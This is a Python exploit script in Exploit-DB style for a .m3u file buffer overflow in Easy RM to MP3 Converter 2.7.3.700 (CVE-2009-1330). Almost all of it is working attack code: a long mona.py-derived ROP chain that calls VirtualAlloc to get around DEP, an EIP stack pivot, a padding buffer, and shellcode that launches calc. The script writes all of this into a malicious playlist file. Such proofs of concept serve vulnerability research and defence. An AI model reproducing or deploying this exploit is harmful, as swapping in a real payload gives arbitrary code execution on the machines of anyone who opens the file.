192 lines
No EOL
8.7 KiB
Python
Executable file
192 lines
No EOL
8.7 KiB
Python
Executable file
# Exploit Title: Easy RM to MP3 Converter 2.7.3.700 (.m3u) File BoF Exploit with Universal DEP+ASLR bypass
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# Date: 2016-06-12
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# Exploit Author: Csaba Fitzl
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# Vendor Homepage: N/A
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# Software Link: https://www.exploit-db.com/apps/707414955696c57b71c7f160c720bed5-EasyRMtoMP3Converter.exe
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# Version: 2.7.3.700
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# Tested on: Windows 7 x64
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# CVE : CVE-2009-1330
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import struct
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def create_rop_chain():
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# rop chain generated with mona.py - www.corelan.be
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# added missing parts, and some optimisation by Csaba Fitzl
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rop_gadgets = [
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#mov 1000 to EDX - Csaba
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0x41414141, # Filler (compensate)
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0x41414141, # Filler (compensate)
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0x41414141, # Filler (compensate)
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0x10025a1c, # XOR EDX,EDX # RETN
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0x1002bc3d, # MOV EAX,411 # RETN
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0x1002dc4c, # ADD EAX,100 # POP EBP # RETN
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0x41414141, # Filler (compensate)
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0x1002dc4c, # ADD EAX,100 # POP EBP # RETN
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0x41414141, # Filler (compensate)
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0x1002dc4c, # ADD EAX,100 # POP EBP # RETN
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0x41414141, # Filler (compensate)
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0x1002dc4c, # ADD EAX,100 # POP EBP # RETN
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0x41414141, # Filler (compensate)
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0x1002dc4c, # ADD EAX,100 # POP EBP # RETN
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0x41414141, # Filler (compensate)
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0x1002dc4c, # ADD EAX,100 # POP EBP # RETN
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0x41414141, # Filler (compensate)
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0x1002dc4c, # ADD EAX,100 # POP EBP # RETN
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0x41414141, # Filler (compensate)
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0x1002dc4c, # ADD EAX,100 # POP EBP # RETN
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0x41414141, # Filler (compensate)
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0x1002dc4c, # ADD EAX,100 # POP EBP # RETN
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0x41414141, # Filler (compensate)
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0x1002dc4c, # ADD EAX,100 # POP EBP # RETN
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0x41414141, # Filler (compensate)
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0x1002dc4c, # ADD EAX,100 # POP EBP # RETN
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0x41414141, # Filler (compensate)
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0x1002dc24, # ADD EAX,80 # POP EBP # RETN
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0x41414141, # Filler (compensate)
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0x1002dc41, # ADD EAX,40 # POP EBP # RETN
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0x41414141, # Filler (compensate)
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0x1001d2ac, # ADD EAX,4 # RETN
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0x1001d2ac, # ADD EAX,4 # RETN
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0x1001d2ac, # ADD EAX,4 # RETN
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0x1001d2ac, # ADD EAX,4 # RETN
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0x1001d2ac, # ADD EAX,4 # RETN
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0x1001d2ac, # ADD EAX,4 # RETN
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0x1001d2ac, # ADD EAX,4 # RETN
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0x1001d2ac, # ADD EAX,4 # RETN
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0x1001d2ac, # ADD EAX,4 # RETN
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0x1001d2ac, # ADD EAX,4 # RETN
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0x1001d2ac, # ADD EAX,4 # RETN
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0x10023327, # INC EAX # RETN
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0x10023327, # INC EAX # RETN
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0x10023327, # INC EAX # RETN
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# AT this point EAX = 0x1000
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0x1001a788, # PUSH EAX # POP ESI # POP EBP # MOV EAX,1 # POP EBX # POP ECX # RETN [MSRMfilter03.dll]
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0x41414141, # Filler (compensate)
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0x41414141, # Filler (compensate)
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0x41414141, # Filler (compensate)
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0x1001bf0d, #(RVA : 0x0001bf0d) : # ADC EDX,ESI
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0x41414141, # Filler (compensate)
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0x10026d56, # POP EAX # RETN [MSRMfilter03.dll]
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0x10032078, # ptr to &VirtualAlloc() [IAT MSRMfilter03.dll]
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0x1002e0c8, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSRMfilter03.dll]
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0x1001a788, # PUSH EAX # POP ESI # POP EBP # MOV EAX,1 # POP EBX # POP ECX # RETN [MSRMfilter03.dll]
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0x41414141, # Filler (compensate)
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0x41414141, # Filler (compensate)
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0x41414141, # Filler (compensate)
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0x10027c5a, # POP EBP # RETN [MSRMfilter03.dll]
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0x1001b058, # & push esp # ret [MSRMfilter03.dll]
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0x1002b93e, # POP EAX # RETN [MSRMfilter03.dll]
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0xfffffffb, # put delta into eax (-> put 0x00000001 into ebx)
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0x1001d2ac, # ADD EAX,4 # RETN
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0x10023327, # INC EAX # RETN
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0x10023327, # INC EAX # RETN
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0x1001bdee, # PUSH EAX # MOV EAX,1 # POP EBX # ADD ESP,8 # RETN [MSRMfilter03.dll]
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0x41414141, # Filler (compensate)
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0x41414141, # Filler (compensate)
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0x10029f74, # POP ECX # RETN [MSRMfilter03.dll]
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0xffffffff, #
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll]
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0x1002bc6a, # POP EDI # RETN [MSRMfilter03.dll]
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0x1001c121, # RETN (ROP NOP) [MSRMfilter03.dll]
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0x10026f2b, # POP EAX # RETN [MSRMfilter03.dll]
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0x10024004, #address to xor, it will point to the DLL's data section which is writeable. Also will work as NOP
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0x1002bc07 # PUSHAD # XOR EAX,11005 # ADD BYTE PTR DS:[EAX],AL
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]
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return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
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buffersize = 26090
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junk = "A" * buffersize
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eip = '\x85\x22\x01\x10' # {pivot 8 / 0x08} : # ADD ESP,8 # RETN
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rop = create_rop_chain()
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calc = (
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"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
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"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
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"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
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"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
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"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
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"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")
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shell = "\x90"*0x10 + calc
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exploit = junk + eip + rop + shell + 'C' * (1000-len(rop)-len(shell))
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filename = "list.m3u"
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textfile = open(filename , 'w')
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textfile.write(exploit)
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textfile.close() |